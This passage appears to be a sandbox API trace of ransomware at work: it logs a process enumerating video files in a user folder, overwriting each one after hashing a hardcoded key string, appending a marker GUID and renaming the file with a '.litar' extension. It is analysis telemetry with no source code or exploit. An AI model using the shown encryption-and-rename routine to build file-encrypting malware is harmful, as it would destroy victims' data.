lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.320] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.320] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.320] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.320] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.320] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.320] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.320] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.320] CloseHandle (hObject=0x624) returned 1 [0126.321] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.321] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.321] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.321] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\GpZ VRAn1yi_-.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\gpz vran1yi_-.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\GpZ VRAn1yi_-.swf.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\gpz vran1yi_-.swf.litar")) returned 1 [0126.322] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.322] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.323] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.323] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x945e350, ftCreationTime.dwHighDateTime=0x1d4cb59, ftLastAccessTime.dwLowDateTime=0x488ce470, ftLastAccessTime.dwHighDateTime=0x1d4d575, ftLastWriteTime.dwLowDateTime=0x488ce470, ftLastWriteTime.dwHighDateTime=0x1d4d575, nFileSizeHigh=0x0, nFileSizeLow=0x14b21, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IiTufgt.mp4", cAlternateFileName="")) returned 1 [0126.323] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.323] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.323] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.323] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\IiTufgt.mp4") returned=".mp4" [0126.323] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\IiTufgt.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\iitufgt.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.324] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=84769) returned 1 [0126.324] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.326] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14afb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.326] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.327] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.327] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.327] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.327] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x14b21, lpOverlapped=0x0) returned 1 [0126.328] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.328] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.328] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.328] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.328] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.329] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.329] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.329] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.329] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.329] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.329] GetLastError () returned 0x0 [0126.329] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.329] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.329] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.329] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14b20) returned 0x30fa0b0 [0126.330] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.330] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.330] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x14b1c, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x14b1c, lpOverlapped=0x0) returned 1 [0126.330] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.330] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14b21, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.330] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.330] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.330] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.330] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.330] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.330] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.330] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.331] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.331] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.331] CloseHandle (hObject=0x624) returned 1 [0126.332] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.332] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0126.332] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.332] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\IiTufgt.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\iitufgt.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\IiTufgt.mp4.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\iitufgt.mp4.litar")) returned 1 [0126.332] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.332] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.333] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.333] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a347880, ftCreationTime.dwHighDateTime=0x1d4d13f, ftLastAccessTime.dwLowDateTime=0x66024090, ftLastAccessTime.dwHighDateTime=0x1d4cbc0, ftLastWriteTime.dwLowDateTime=0x66024090, ftLastWriteTime.dwHighDateTime=0x1d4cbc0, nFileSizeHigh=0x0, nFileSizeLow=0x1b9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jXsioQ.swf", cAlternateFileName="")) returned 1 [0126.333] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.333] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.333] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.333] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\jXsioQ.swf") returned=".swf" [0126.333] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\jXsioQ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\jxsioq.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.334] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=7069) returned 1 [0126.334] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.335] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1b77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.335] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.337] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.337] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.337] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.337] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x1b9d, lpOverlapped=0x0) returned 1 [0126.337] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.337] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.338] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.338] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.338] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.338] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.338] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.338] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.338] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.338] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.338] GetLastError () returned 0x0 [0126.339] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.339] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.339] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.339] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1ba0) returned 0x30fa0b0 [0126.339] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.339] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.339] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x1b98, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x1b98, lpOverlapped=0x0) returned 1 [0126.339] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.339] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1b9d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.339] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.339] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.339] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.339] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.339] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.339] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.339] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.339] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.339] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.339] CloseHandle (hObject=0x624) returned 1 [0126.340] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.340] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0126.340] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.340] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\jXsioQ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\jxsioq.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\jXsioQ.swf.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\jxsioq.swf.litar")) returned 1 [0126.340] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.341] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.342] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.342] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd61fb000, ftCreationTime.dwHighDateTime=0x1d4d229, ftLastAccessTime.dwLowDateTime=0xa522ee90, ftLastAccessTime.dwHighDateTime=0x1d4c7f2, ftLastWriteTime.dwLowDateTime=0xa522ee90, ftLastWriteTime.dwHighDateTime=0x1d4c7f2, nFileSizeHigh=0x0, nFileSizeLow=0x9a50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LV_qcOmmob.mkv", cAlternateFileName="LV_QCO~1.MKV")) returned 1 [0126.342] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.342] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.342] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.342] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\LV_qcOmmob.mkv") returned=".mkv" [0126.342] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\LV_qcOmmob.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\lv_qcommob.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.342] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=39504) returned 1 [0126.342] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.344] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9a2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.344] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.345] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.346] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.346] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x9a50, lpOverlapped=0x0) returned 1 [0126.346] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.346] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.346] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.346] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.347] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.347] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.347] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.347] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.347] GetLastError () returned 0x0 [0126.347] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.347] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x9a50) returned 0x30fa0b0 [0126.348] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.348] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x9a4b, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x9a4b, lpOverlapped=0x0) returned 1 [0126.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.348] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9a50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.348] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.348] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.348] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.348] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.348] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.348] CloseHandle (hObject=0x624) returned 1 [0126.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.349] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\LV_qcOmmob.mkv" (normalized: "c:\\users\\5p5nrgjn0js 